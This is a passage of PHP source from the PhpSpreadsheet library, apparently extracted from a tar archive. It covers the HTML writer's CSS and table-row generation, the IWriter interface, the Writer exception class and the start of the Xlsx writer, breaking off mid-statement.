$css['transform'] = "rotate({$rotation}deg)"; } } return $css; } /** * Create CSS style. */ private function createCSSStyleFont(Font $font): array { // Construct CSS $css = []; // Create CSS if ($font->getBold()) { $css['font-weight'] = 'bold'; } if ($font->getUnderline() != Font::UNDERLINE_NONE && $font->getStrikethrough()) { $css['text-decoration'] = 'underline line-through'; } elseif ($font->getUnderline() != Font::UNDERLINE_NONE) { $css['text-decoration'] = 'underline'; } elseif ($font->getStrikethrough()) { $css['text-decoration'] = 'line-through'; } if ($font->getItalic()) { $css['font-style'] = 'italic'; } $css['color'] = '#' . $font->getColor()->getRGB(); $css['font-family'] = '\'' . htmlspecialchars((string) $font->getName(), ENT_QUOTES) . '\''; $css['font-size'] = $font->getSize() . 'pt'; return $css; } /** * Create CSS style. * * @param Borders $borders Borders */ private function createCSSStyleBorders(Borders $borders): array { // Construct CSS $css = []; // Create CSS $css['border-bottom'] = $this->createCSSStyleBorder($borders->getBottom()); $css['border-top'] = $this->createCSSStyleBorder($borders->getTop()); $css['border-left'] = $this->createCSSStyleBorder($borders->getLeft()); $css['border-right'] = $this->createCSSStyleBorder($borders->getRight()); return $css; } /** * Create CSS style. * * @param Border $border Border */ private function createCSSStyleBorder(Border $border): string { // Create CSS - add !important to non-none border styles for merged cells $borderStyle = $this->mapBorderStyle($border->getBorderStyle()); return $borderStyle . ' #' . $border->getColor()->getRGB() . (($borderStyle == 'none') ? '' : ' !important'); } /** * Create CSS style (Fill). * * @param Fill $fill Fill */ private function createCSSStyleFill(Fill $fill): array { // Construct HTML $css = []; // Create CSS if ($fill->getFillType() !== Fill::FILL_NONE) { $value = $fill->getFillType() == Fill::FILL_NONE ? 'white' : '#' . $fill->getStartColor()->getRGB(); $css['background-color'] = $value; } return $css; } /** * Generate HTML footer. */ public function generateHTMLFooter(): string { // Construct HTML $html = ''; $html .= ' </body>' . PHP_EOL; $html .= '</html>' . PHP_EOL; return $html; } private function generateTableTagInline(Worksheet $worksheet, string $id): string { $style = isset($this->cssStyles['table']) ? $this->assembleCSS($this->cssStyles['table']) : ''; $prntgrid = $worksheet->getPrintGridlines(); $viewgrid = $this->isPdf ? $prntgrid : $worksheet->getShowGridlines(); if ($viewgrid && $prntgrid) { $html = " <table border='1' cellpadding='1' $id cellspacing='1' style='$style' class='gridlines gridlinesp'>" . PHP_EOL; } elseif ($viewgrid) { $html = " <table border='0' cellpadding='0' $id cellspacing='0' style='$style' class='gridlines'>" . PHP_EOL; } elseif ($prntgrid) { $html = " <table border='0' cellpadding='0' $id cellspacing='0' style='$style' class='gridlinesp'>" . PHP_EOL; } else { $html = " <table border='0' cellpadding='1' $id cellspacing='0' style='$style'>" . PHP_EOL; } return $html; } private function generateTableTag(Worksheet $worksheet, string $id, string &$html, int $sheetIndex): void { if (!$this->useInlineCss) { $gridlines = $worksheet->getShowGridlines() ? ' gridlines' : ''; $gridlinesp = $worksheet->getPrintGridlines() ? ' gridlinesp' : ''; $html .= " <table border='0' cellpadding='0' cellspacing='0' $id class='sheet$sheetIndex$gridlines$gridlinesp'>" . PHP_EOL; } else { $html .= $this->generateTableTagInline($worksheet, $id); } } /** * Generate table header. * * @param Worksheet $worksheet The worksheet for the table we are writing * @param bool $showid whether or not to add id to table tag */ private function generateTableHeader(Worksheet $worksheet, bool $showid = true): string { $sheetIndex = $worksheet->getParentOrThrow()->getIndex($worksheet); // Construct HTML $html = ''; $id = $showid ? "id='sheet$sheetIndex'" : ''; if ($showid) { $html .= "<div style='page: page$sheetIndex'>" . PHP_EOL; } else { $html .= "<div style='page: page$sheetIndex' class='scrpgbrk'>" . PHP_EOL; } $this->generateTableTag($worksheet, $id, $html, $sheetIndex); // Write <col> elements $highestColumnIndex = Coordinate::columnIndexFromString($worksheet->getHighestColumn()) - 1; $i = -1; while ($i++ < $highestColumnIndex) { if (!$this->useInlineCss) { $html .= ' <col class="col' . $i . '" />' . PHP_EOL; } else { $style = isset($this->cssStyles['table.sheet' . $sheetIndex . ' col.col' . $i]) ? $this->assembleCSS($this->cssStyles['table.sheet' . $sheetIndex . ' col.col' . $i]) : ''; $html .= ' <col style="' . $style . '" />' . PHP_EOL; } } return $html; } /** * Generate table footer. */ private function generateTableFooter(): string { return ' </tbody></table>' . PHP_EOL . '</div>' . PHP_EOL; } /** * Generate row start. * * @param int $sheetIndex Sheet index (0-based) * @param int $row row number */ private function generateRowStart(Worksheet $worksheet, int $sheetIndex, int $row): string { $html = ''; if (count($worksheet->getBreaks()) > 0) { $breaks = $worksheet->getRowBreaks(); // check if a break is needed before this row if (isset($breaks['A' . $row])) { // close table: </table> $html .= $this->generateTableFooter(); if ($this->isPdf && $this->useInlineCss) { $html .= '<div style="page-break-before:always" />'; } // open table again: <table> + <col> etc. $html .= $this->generateTableHeader($worksheet, false); $html .= '<tbody>' . PHP_EOL; } } // Write row start if (!$this->useInlineCss) { $html .= ' <tr class="row' . $row . '">' . PHP_EOL; } else { $style = isset($this->cssStyles['table.sheet' . $sheetIndex . ' tr.row' . $row]) ? $this->assembleCSS($this->cssStyles['table.sheet' . $sheetIndex . ' tr.row' . $row]) : ''; $html .= ' <tr style="' . $style . '">' . PHP_EOL; } return $html; } private function generateRowCellCss(Worksheet $worksheet, string $cellAddress, int $row, int $columnNumber): array { $cell = ($cellAddress > '') ? $worksheet->getCellCollection()->get($cellAddress) : ''; $coordinate = Coordinate::stringFromColumnIndex($columnNumber + 1) . ($row + 1); if (!$this->useInlineCss) { $cssClass = 'column' . $columnNumber; } else { $cssClass = []; // The statements below do nothing. // Commenting out the code rather than deleting it // in case someone can figure out what their intent was. //if ($cellType == 'th') { // if (isset($this->cssStyles['table.sheet' . $sheetIndex . ' th.column' . $colNum])) { // $this->cssStyles['table.sheet' . $sheetIndex . ' th.column' . $colNum]; // } //} else { // if (isset($this->cssStyles['table.sheet' . $sheetIndex . ' td.column' . $colNum])) { // $this->cssStyles['table.sheet' . $sheetIndex . ' td.column' . $colNum]; // } //} // End of mystery statements. } return [$cell, $cssClass, $coordinate]; } private function generateRowCellDataValueRich(RichText $richText): string { $cellData = ''; // Loop through rich text elements $elements = $richText->getRichTextElements(); foreach ($elements as $element) { // Rich text start? if ($element instanceof Run) { $cellEnd = ''; if ($element->getFont() !== null) { $cellData .= '<span style="' . $this->assembleCSS($this->createCSSStyleFont($element->getFont())) . '">'; if ($element->getFont()->getSuperscript()) { $cellData .= '<sup>'; $cellEnd = '</sup>'; } elseif ($element->getFont()->getSubscript()) { $cellData .= '<sub>'; $cellEnd = '</sub>'; } } else { $cellData .= '<span>'; } // Convert UTF8 data to PCDATA $cellText = $element->getText(); $cellData .= htmlspecialchars($cellText, Settings::htmlEntityFlags()); $cellData .= $cellEnd; $cellData .= '</span>'; } else { // Convert UTF8 data to PCDATA $cellText = $element->getText(); $cellData .= htmlspecialchars($cellText, Settings::htmlEntityFlags()); } } return nl2br($cellData); } private function generateRowCellDataValue(Worksheet $worksheet, Cell $cell, string &$cellData): void { if ($cell->getValue() instanceof RichText) { $cellData .= $this->generateRowCellDataValueRich($cell->getValue()); } else { $origData = $this->preCalculateFormulas ? $cell->getCalculatedValue() : $cell->getValue(); $origData2 = $this->preCalculateFormulas ? $cell->getCalculatedValueString() : $cell->getValueString(); $formatCode = $worksheet->getParentOrThrow()->getCellXfByIndex($cell->getXfIndex())->getNumberFormat()->getFormatCode(); $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMAT_GENERAL, [$this, 'formatColor'] ); if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags()); } if ($worksheet->getParentOrThrow()->getCellXfByIndex($cell->getXfIndex())->getFont()->getSuperscript()) { $cellData = '<sup>' . $cellData . '</sup>'; } elseif ($worksheet->getParentOrThrow()->getCellXfByIndex($cell->getXfIndex())->getFont()->getSubscript()) { $cellData = '<sub>' . $cellData . '</sub>'; } } } private function generateRowCellData(Worksheet $worksheet, null|Cell|string $cell, array|string &$cssClass): string { $cellData = ' '; if ($cell instanceof Cell) { $cellData = ''; // Don't know what this does, and no test cases. //if ($cell->getParent() === null) { // $cell->attach($worksheet); //} // Value $this->generateRowCellDataValue($worksheet, $cell, $cellData); // Converts the cell content so that spaces occuring at beginning of each new line are replaced by // Example: " Hello\n to the world" is converted to " Hello\n to the world" $cellData = (string) preg_replace('/(?m)(?:^|\\G) /', ' ', $cellData); // convert newline "\n" to '<br>' $cellData = nl2br($cellData); // Extend CSS class? if (!$this->useInlineCss && is_string($cssClass)) { $cssClass .= ' style' . $cell->getXfIndex(); $cssClass .= ' ' . $cell->getDataType(); } elseif (is_array($cssClass)) { $index = $cell->getXfIndex(); $styleIndex = 'td.style' . $index . ', th.style' . $index; if (isset($this->cssStyles[$styleIndex])) { $cssClass = array_merge($cssClass, $this->cssStyles[$styleIndex]); } // General horizontal alignment: Actual horizontal alignment depends on dataType $sharedStyle = $worksheet->getParentOrThrow()->getCellXfByIndex($cell->getXfIndex()); if ( $sharedStyle->getAlignment()->getHorizontal() == Alignment::HORIZONTAL_GENERAL && isset($this->cssStyles['.' . $cell->getDataType()]['text-align']) ) { $cssClass['text-align'] = $this->cssStyles['.' . $cell->getDataType()]['text-align']; } } } else { // Use default borders for empty cell if (is_string($cssClass)) { $cssClass .= ' style0'; } } return $cellData; } private function generateRowIncludeCharts(Worksheet $worksheet, string $coordinate): string { return $this->includeCharts ? $this->writeChartInCell($worksheet, $coordinate) : ''; } private function generateRowSpans(string $html, int $rowSpan, int $colSpan): string { $html .= ($colSpan > 1) ? (' colspan="' . $colSpan . '"') : ''; $html .= ($rowSpan > 1) ? (' rowspan="' . $rowSpan . '"') : ''; return $html; } private function generateRowWriteCell( string &$html, Worksheet $worksheet, string $coordinate, string $cellType, string $cellData, int $colSpan, int $rowSpan, array|string $cssClass, int $colNum, int $sheetIndex, int $row ): void { // Image? $htmlx = $this->writeImageInCell($coordinate); // Chart? $htmlx .= $this->generateRowIncludeCharts($worksheet, $coordinate); // Column start $html .= ' <' . $cellType; if (!$this->useInlineCss && !$this->isPdf && is_string($cssClass)) { $html .= ' class="' . $cssClass . '"'; if ($htmlx) { $html .= " style='position: relative;'"; } } else { //** Necessary redundant code for the sake of \PhpOffice\PhpSpreadsheet\Writer\Pdf ** // We must explicitly write the width of the <td> element because TCPDF // does not recognize e.g. <col style="width:42pt"> if ($this->useInlineCss) { $xcssClass = is_array($cssClass) ? $cssClass : []; } else { if (is_string($cssClass)) { $html .= ' class="' . $cssClass . '"'; } $xcssClass = []; } $width = 0; $i = $colNum - 1; $e = $colNum + $colSpan - 1; while ($i++ < $e) { if (isset($this->columnWidths[$sheetIndex][$i])) { $width += $this->columnWidths[$sheetIndex][$i]; } } $xcssClass['width'] = (string) $width . 'pt'; // We must also explicitly write the height of the <td> element because TCPDF // does not recognize e.g. <tr style="height:50pt"> if (isset($this->cssStyles['table.sheet' . $sheetIndex . ' tr.row' . $row]['height'])) { $height = $this->cssStyles['table.sheet' . $sheetIndex . ' tr.row' . $row]['height']; $xcssClass['height'] = $height; } //** end of redundant code ** if ($htmlx) { $xcssClass['position'] = 'relative'; } $html .= ' style="' . $this->assembleCSS($xcssClass) . '"'; } $html = $this->generateRowSpans($html, $rowSpan, $colSpan); $html .= '>'; $html .= $htmlx; $html .= $this->writeComment($worksheet, $coordinate); // Cell data $html .= $cellData; // Column end $html .= '</' . $cellType . '>' . PHP_EOL; } /** * Generate row. * * @param array $values Array containing cells in a row * @param int $row Row number (0-based) * @param string $cellType eg: 'td' */ private function generateRow(Worksheet $worksheet, array $values, int $row, string $cellType): string { // Sheet index $sheetIndex = $worksheet->getParentOrThrow()->getIndex($worksheet); $html = $this->generateRowStart($worksheet, $sheetIndex, $row); // Write cells $colNum = 0; foreach ($values as $cellAddress) { [$cell, $cssClass, $coordinate] = $this->generateRowCellCss($worksheet, $cellAddress, $row, $colNum); // Cell Data $cellData = $this->generateRowCellData($worksheet, $cell, $cssClass); // Hyperlink? if ($worksheet->hyperlinkExists($coordinate) && !$worksheet->getHyperlink($coordinate)->isInternal()) { $cellData = '<a href="' . htmlspecialchars($worksheet->getHyperlink($coordinate)->getUrl(), Settings::htmlEntityFlags()) . '" title="' . htmlspecialchars($worksheet->getHyperlink($coordinate)->getTooltip(), Settings::htmlEntityFlags()) . '">' . $cellData . '</a>'; } // Should the cell be written or is it swallowed by a rowspan or colspan? $writeCell = !(isset($this->isSpannedCell[$worksheet->getParentOrThrow()->getIndex($worksheet)][$row + 1][$colNum]) && $this->isSpannedCell[$worksheet->getParentOrThrow()->getIndex($worksheet)][$row + 1][$colNum]); // Colspan and Rowspan $colSpan = 1; $rowSpan = 1; if (isset($this->isBaseCell[$worksheet->getParentOrThrow()->getIndex($worksheet)][$row + 1][$colNum])) { $spans = $this->isBaseCell[$worksheet->getParentOrThrow()->getIndex($worksheet)][$row + 1][$colNum]; $rowSpan = $spans['rowspan']; $colSpan = $spans['colspan']; // Also apply style from last cell in merge to fix borders - // relies on !important for non-none border declarations in createCSSStyleBorder $endCellCoord = Coordinate::stringFromColumnIndex($colNum + $colSpan) . ($row + $rowSpan); if (!$this->useInlineCss) { $cssClass .= ' style' . $worksheet->getCell($endCellCoord)->getXfIndex(); } } // Write if ($writeCell) { $this->generateRowWriteCell($html, $worksheet, $coordinate, $cellType, $cellData, $colSpan, $rowSpan, $cssClass, $colNum, $sheetIndex, $row); } // Next column ++$colNum; } // Write row end $html .= ' </tr>' . PHP_EOL; // Return return $html; } /** * Takes array where of CSS properties / values and converts to CSS string. */ private function assembleCSS(array $values = []): string { $pairs = []; foreach ($values as $property => $value) { $pairs[] = $property . ':' . $value; } $string = implode('; ', $pairs); return $string; } /** * Get images root. */ public function getImagesRoot(): string { return $this->imagesRoot; } /** * Set images root. * * @return $this */ public function setImagesRoot(string $imagesRoot): static { $this->imagesRoot = $imagesRoot; return $this; } /** * Get embed images. */ public function getEmbedImages(): bool { return $this->embedImages; } /** * Set embed images. * * @return $this */ public function setEmbedImages(bool $embedImages): static { $this->embedImages = $embedImages; return $this; } /** * Get use inline CSS? */ public function getUseInlineCss(): bool { return $this->useInlineCss; } /** * Set use inline CSS? * * @return $this */ public function setUseInlineCss(bool $useInlineCss): static { $this->useInlineCss = $useInlineCss; return $this; } /** * Add color to formatted string as inline style. * * @param string $value Plain formatted value without color * @param string $format Format code */ public function formatColor(string $value, string $format): string { // Color information, e.g. [Red] is always at the beginning $color = null; // initialize $matches = []; $color_regex = '/^\\[[a-zA-Z]+\\]/'; if (preg_match($color_regex, $format, $matches)) { $color = str_replace(['[', ']'], '', $matches[0]); $color = strtolower($color); } // convert to PCDATA $result = htmlspecialchars($value, Settings::htmlEntityFlags()); // color span tag if ($color !== null) { $result = '<span style="color:' . $color . '">' . $result . '</span>'; } return $result; } /** * Calculate information about HTML colspan and rowspan which is not always the same as Excel's. */ private function calculateSpans(): void { if ($this->spansAreCalculated) { return; } // Identify all cells that should be omitted in HTML due to cell merge. // In HTML only the upper-left cell should be written and it should have // appropriate rowspan / colspan attribute $sheetIndexes = $this->sheetIndex !== null ? [$this->sheetIndex] : range(0, $this->spreadsheet->getSheetCount() - 1); foreach ($sheetIndexes as $sheetIndex) { $sheet = $this->spreadsheet->getSheet($sheetIndex); $candidateSpannedRow = []; // loop through all Excel merged cells foreach ($sheet->getMergeCells() as $cells) { [$cells] = Coordinate::splitRange($cells); $first = $cells[0]; $last = $cells[1]; [$fc, $fr] = Coordinate::indexesFromString($first); $fc = $fc - 1; [$lc, $lr] = Coordinate::indexesFromString($last); $lc = $lc - 1; // loop through the individual cells in the individual merge $r = $fr - 1; while ($r++ < $lr) { // also, flag this row as a HTML row that is candidate to be omitted $candidateSpannedRow[$r] = $r; $c = $fc - 1; while ($c++ < $lc) { if (!($c == $fc && $r == $fr)) { // not the upper-left cell (should not be written in HTML) $this->isSpannedCell[$sheetIndex][$r][$c] = [ 'baseCell' => [$fr, $fc], ]; } else { // upper-left is the base cell that should hold the colspan/rowspan attribute $this->isBaseCell[$sheetIndex][$r][$c] = [ 'xlrowspan' => $lr - $fr + 1, // Excel rowspan 'rowspan' => $lr - $fr + 1, // HTML rowspan, value may change 'xlcolspan' => $lc - $fc + 1, // Excel colspan 'colspan' => $lc - $fc + 1, // HTML colspan, value may change ]; } } } } $this->calculateSpansOmitRows($sheet, $sheetIndex, $candidateSpannedRow); // TODO: Same for columns } // We have calculated the spans $this->spansAreCalculated = true; } private function calculateSpansOmitRows(Worksheet $sheet, int $sheetIndex, array $candidateSpannedRow): void { // Identify which rows should be omitted in HTML. These are the rows where all the cells // participate in a merge and the where base cells are somewhere above. $countColumns = Coordinate::columnIndexFromString($sheet->getHighestColumn()); foreach ($candidateSpannedRow as $rowIndex) { if (isset($this->isSpannedCell[$sheetIndex][$rowIndex])) { if (count($this->isSpannedCell[$sheetIndex][$rowIndex]) == $countColumns) { $this->isSpannedRow[$sheetIndex][$rowIndex] = $rowIndex; } } } // For each of the omitted rows we found above, the affected rowspans should be subtracted by 1 if (isset($this->isSpannedRow[$sheetIndex])) { foreach ($this->isSpannedRow[$sheetIndex] as $rowIndex) { $adjustedBaseCells = []; $c = -1; $e = $countColumns - 1; while ($c++ < $e) { $baseCell = $this->isSpannedCell[$sheetIndex][$rowIndex][$c]['baseCell']; if (!in_array($baseCell, $adjustedBaseCells, true)) { // subtract rowspan by 1 --$this->isBaseCell[$sheetIndex][$baseCell[0]][$baseCell[1]]['rowspan']; $adjustedBaseCells[] = $baseCell; } } } } } /** * Write a comment in the same format as LibreOffice. * * @see https://github.com/LibreOffice/core/blob/9fc9bf3240f8c62ad7859947ab8a033ac1fe93fa/sc/source/filter/html/htmlexp.cxx#L1073-L1092 */ private function writeComment(Worksheet $worksheet, string $coordinate): string { $result = ''; if (!$this->isPdf && isset($worksheet->getComments()[$coordinate])) { $sanitizedString = $this->generateRowCellDataValueRich($worksheet->getComment($coordinate)->getText()); if ($sanitizedString !== '') { $result .= '<a class="comment-indicator"></a>'; $result .= '<div class="comment">' . $sanitizedString . '</div>'; $result .= PHP_EOL; } } return $result; } public function getOrientation(): ?string { // Expect Pdf classes to override this method. return $this->isPdf ? PageSetup::ORIENTATION_PORTRAIT : null; } /** * Generate @page declarations. */ private function generatePageDeclarations(bool $generateSurroundingHTML): string { // Ensure that Spans have been calculated? $this->calculateSpans(); // Fetch sheets $sheets = []; if ($this->sheetIndex === null) { $sheets = $this->spreadsheet->getAllSheets(); } else { $sheets[] = $this->spreadsheet->getSheet($this->sheetIndex); } // Construct HTML $htmlPage = $generateSurroundingHTML ? ('<style type="text/css">' . PHP_EOL) : ''; // Loop all sheets $sheetId = 0; foreach ($sheets as $worksheet) { $htmlPage .= "@page page$sheetId { "; $left = StringHelper::formatNumber($worksheet->getPageMargins()->getLeft()) . 'in; '; $htmlPage .= 'margin-left: ' . $left; $right = StringHelper::FormatNumber($worksheet->getPageMargins()->getRight()) . 'in; '; $htmlPage .= 'margin-right: ' . $right; $top = StringHelper::FormatNumber($worksheet->getPageMargins()->getTop()) . 'in; '; $htmlPage .= 'margin-top: ' . $top; $bottom = StringHelper::FormatNumber($worksheet->getPageMargins()->getBottom()) . 'in; '; $htmlPage .= 'margin-bottom: ' . $bottom; $orientation = $this->getOrientation() ?? $worksheet->getPageSetup()->getOrientation(); if ($orientation === PageSetup::ORIENTATION_LANDSCAPE) { $htmlPage .= 'size: landscape; '; } elseif ($orientation === PageSetup::ORIENTATION_PORTRAIT) { $htmlPage .= 'size: portrait; '; } $htmlPage .= '}' . PHP_EOL; ++$sheetId; } $htmlPage .= implode(PHP_EOL, [ '.navigation {page-break-after: always;}', '.scrpgbrk, div + div {page-break-before: always;}', '@media screen {', ' .gridlines td {border: 1px solid black;}', ' .gridlines th {border: 1px solid black;}', ' body>div {margin-top: 5px;}', ' body>div:first-child {margin-top: 0;}', ' .scrpgbrk {margin-top: 1px;}', '}', '@media print {', ' .gridlinesp td {border: 1px solid black;}', ' .gridlinesp th {border: 1px solid black;}', ' .navigation {display: none;}', '}', '', ]); $htmlPage .= $generateSurroundingHTML ? ('</style>' . PHP_EOL) : ''; return $htmlPage; } private function shouldGenerateRow(Worksheet $sheet, int $row): bool { if (!($this instanceof Pdf\Mpdf || $this instanceof Pdf\Tcpdf)) { return true; } return $sheet->isRowVisible($row); } private function shouldGenerateColumn(Worksheet $sheet, string $colStr): bool { if (!($this instanceof Pdf\Mpdf || $this instanceof Pdf\Tcpdf)) { return true; } if (!$sheet->columnDimensionExists($colStr)) { return true; } return $sheet->getColumnDimension($colStr)->getVisible(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/IWriter.php000064400000005755151676714400020635 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use PhpOffice\PhpSpreadsheet\Spreadsheet; interface IWriter { public const SAVE_WITH_CHARTS = 1; public const DISABLE_PRECALCULATE_FORMULAE = 2; /** * IWriter constructor. * * @param Spreadsheet $spreadsheet The spreadsheet that we want to save using this Writer */ public function __construct(Spreadsheet $spreadsheet); /** * Write charts in workbook? * If this is true, then the Writer will write definitions for any charts that exist in the PhpSpreadsheet object. * If false (the default) it will ignore any charts defined in the PhpSpreadsheet object. */ public function getIncludeCharts(): bool; /** * Set write charts in workbook * Set to true, to advise the Writer to include any charts that exist in the PhpSpreadsheet object. * Set to false (the default) to ignore charts. * * @return $this */ public function setIncludeCharts(bool $includeCharts): self; /** * Get Pre-Calculate Formulas flag * If this is true (the default), then the writer will recalculate all formulae in a workbook when saving, * so that the pre-calculated values are immediately available to MS Excel or other office spreadsheet * viewer when opening the file * If false, then formulae are not calculated on save. This is faster for saving in PhpSpreadsheet, but slower * when opening the resulting file in MS Excel, because Excel has to recalculate the formulae itself. */ public function getPreCalculateFormulas(): bool; /** * Set Pre-Calculate Formulas * Set to true (the default) to advise the Writer to calculate all formulae on save * Set to false to prevent precalculation of formulae on save. * * @param bool $precalculateFormulas Pre-Calculate Formulas? * * @return $this */ public function setPreCalculateFormulas(bool $precalculateFormulas): self; /** * Save PhpSpreadsheet to file. * * @param resource|string $filename Name of the file to save * @param int $flags Flags that can change the behaviour of the Writer: * self::SAVE_WITH_CHARTS Save any charts that are defined (if the Writer supports Charts) * self::DISABLE_PRECALCULATE_FORMULAE Don't Precalculate formulae before saving the file * * @throws Exception */ public function save($filename, int $flags = 0): void; /** * Get use disk caching where possible? */ public function getUseDiskCaching(): bool; /** * Set use disk caching where possible? * * @param ?string $cacheDirectory Disk caching directory * * @return $this */ public function setUseDiskCaching(bool $useDiskCache, ?string $cacheDirectory = null): self; /** * Get disk caching directory. */ public function getDiskCachingDirectory(): string; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Exception.php000064400000000253151676714400021172 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class Exception extends PhpSpreadsheetException { } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx.php000064400000062737151676714400020211 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\HashTable; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Borders; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\Font; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Worksheet\BaseDrawing; use PhpOffice\PhpSpreadsheet\Worksheet\Drawing as WorksheetDrawing; use PhpOffice\PhpSpreadsheet\Worksheet\MemoryDrawing; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\Chart; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\Comments; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\ContentTypes; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\DocProps; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\Drawing; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\Rels; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\RelsRibbon; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\RelsVBA; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\StringTable; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\Style; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\Table; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\Theme; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\Workbook; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet; use ZipArchive; use ZipStream\Exception\OverflowException; use ZipStream\ZipStream; class Xlsx extends BaseWriter { /** * Office2003 compatibility. */ private bool $office2003compatibility = false; /** * Private Spreadsheet. */ private Spreadsheet $spreadSheet; /** * Private string table. * * @var string[] */ private array $stringTable = []; /** * Private unique Conditional HashTable. * * @var HashTable<Conditional> */ private HashTable $stylesConditionalHashTable; /** * Private unique Style HashTable. * * @var HashTable<\PhpOffice\PhpSpreadsheet\Style\Style> */ private HashTable $styleHashTable; /** * Private unique Fill HashTable. * * @var HashTable<Fill> */ private HashTable $fillHashTable; /** * Private unique \PhpOffice\PhpSpreadsheet\Style\Font HashTable. * * @var HashTable<Font> */ private HashTable $fontHashTable; /** * Private unique Borders HashTable. * * @var HashTable<Borders> */ private HashTable $bordersHashTable; /** * Private unique NumberFormat HashTable. * * @var HashTable<NumberFormat> */ private HashTable $numFmtHashTable; /** * Private unique \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet\BaseDrawing HashTable. * * @var HashTable<BaseDrawing> */ private HashTable $drawingHashTable; /** * Private handle for zip stream. */ private ZipStream $zip; private Chart $writerPartChart; private Comments $writerPartComments; private ContentTypes $writerPartContentTypes; private DocProps $writerPartDocProps; private Drawing $writerPartDrawing; private Rels $writerPartRels; private RelsRibbon $writerPartRelsRibbon; private RelsVBA $writerPartRelsVBA; private StringTable $writerPartStringTable; private Style $writerPartStyle; private Theme $writerPartTheme; private Table $writerPartTable; private Workbook $writerPartWorkbook; private Worksheet $writerPartWorksheet; private bool $explicitStyle0 = false; /** * Create a new Xlsx Writer. */ public function __construct(Spreadsheet $spreadsheet) { // Assign PhpSpreadsheet $this->setSpreadsheet($spreadsheet); $this->writerPartChart = new Chart($this); $this->writerPartComments = new Comments($this); $this->writerPartContentTypes = new ContentTypes($this); $this->writerPartDocProps = new DocProps($this); $this->writerPartDrawing = new Drawing($this); $this->writerPartRels = new Rels($this); $this->writerPartRelsRibbon = new RelsRibbon($this); $this->writerPartRelsVBA = new RelsVBA($this); $this->writerPartStringTable = new StringTable($this); $this->writerPartStyle = new Style($this); $this->writerPartTheme = new Theme($this); $this->writerPartTable = new Table($this); $this->writerPartWorkbook = new Workbook($this); $this->writerPartWorksheet = new Worksheet($this); // Set HashTable variables $this->bordersHashTable = new HashTable(); $this->drawingHashTable = new HashTable(); $this->fillHashTable = new HashTable(); $this->fontHashTable = new HashTable(); $this->numFmtHashTable = new HashTable(); $this->styleHashTable = new HashTable(); $this->stylesConditionalHashTable = new HashTable(); } public function getWriterPartChart(): Chart { return $this->writerPartChart; } public function getWriterPartComments(): Comments { return $this->writerPartComments; } public function getWriterPartContentTypes(): ContentTypes { return $this->writerPartContentTypes; } public function getWriterPartDocProps(): DocProps { return $this->writerPartDocProps; } public function getWriterPartDrawing(): Drawing { return $this->writerPartDrawing; } public function getWriterPartRels(): Rels { return $this->writerPartRels; } public function getWriterPartRelsRibbon(): RelsRibbon { return $this->writerPartRelsRibbon; } public function getWriterPartRelsVBA(): RelsVBA { return $this->writerPartRelsVBA; } public function getWriterPartStringTable(): StringTable { return $this->writerPartStringTable; } public function getWriterPartStyle(): Style { return $this->writerPartStyle; } public function getWriterPartTheme(): Theme { return $this->writerPartTheme; } public function getWriterPartTable(): Table { return $this->writerPartTable; } public function getWriterPartWorkbook(): Workbook { return $this->writerPartWorkbook; } public function getWriterPartWorksheet(): Worksheet { return $this->writerPartWorksheet; } /** * Save PhpSpreadsheet to file. * * @param resource|string $filename */ public function save($filename, int $flags = 0): void { $this->processFlags($flags); // garbage collect $this->pathNames = []; $this->spreadSheet->garbageCollect(); $saveDebugLog = Calculation::getInstance($this->spreadSheet)->getDebugLog()->getWriteDebugLog(); Calculation::getInstance($this->spreadSheet)->getDebugLog()->setWriteDebugLog(false); $saveDateReturnType = Functions::getReturnDateType(); Functions::setReturnDateType(Functions::RETURNDATE_EXCEL); // Create string lookup table $this->stringTable = []; for ($i = 0; $i < $this->spreadSheet->getSheetCount(); ++$i) { $this->stringTable = $this->getWriterPartStringTable()->createStringTable($this->spreadSheet->getSheet($i), $this->stringTable); } // Create styles dictionaries $this->styleHashTable->addFromSource($this->getWriterPartStyle()->allStyles($this->spreadSheet)); $this->stylesConditionalHashTable->addFromSource($this->getWriterPartStyle()->allConditionalStyles($this->spreadSheet)); $this->fillHashTable->addFromSource($this->getWriterPartStyle()->allFills($this->spreadSheet)); $this->fontHashTable->addFromSource($this->getWriterPartStyle()->allFonts($this->spreadSheet)); $this->bordersHashTable->addFromSource($this->getWriterPartStyle()->allBorders($this->spreadSheet)); $this->numFmtHashTable->addFromSource($this->getWriterPartStyle()->allNumberFormats($this->spreadSheet)); // Create drawing dictionary $this->drawingHashTable->addFromSource($this->getWriterPartDrawing()->allDrawings($this->spreadSheet)); $zipContent = []; // Add [Content_Types].xml to ZIP file $zipContent['[Content_Types].xml'] = $this->getWriterPartContentTypes()->writeContentTypes($this->spreadSheet, 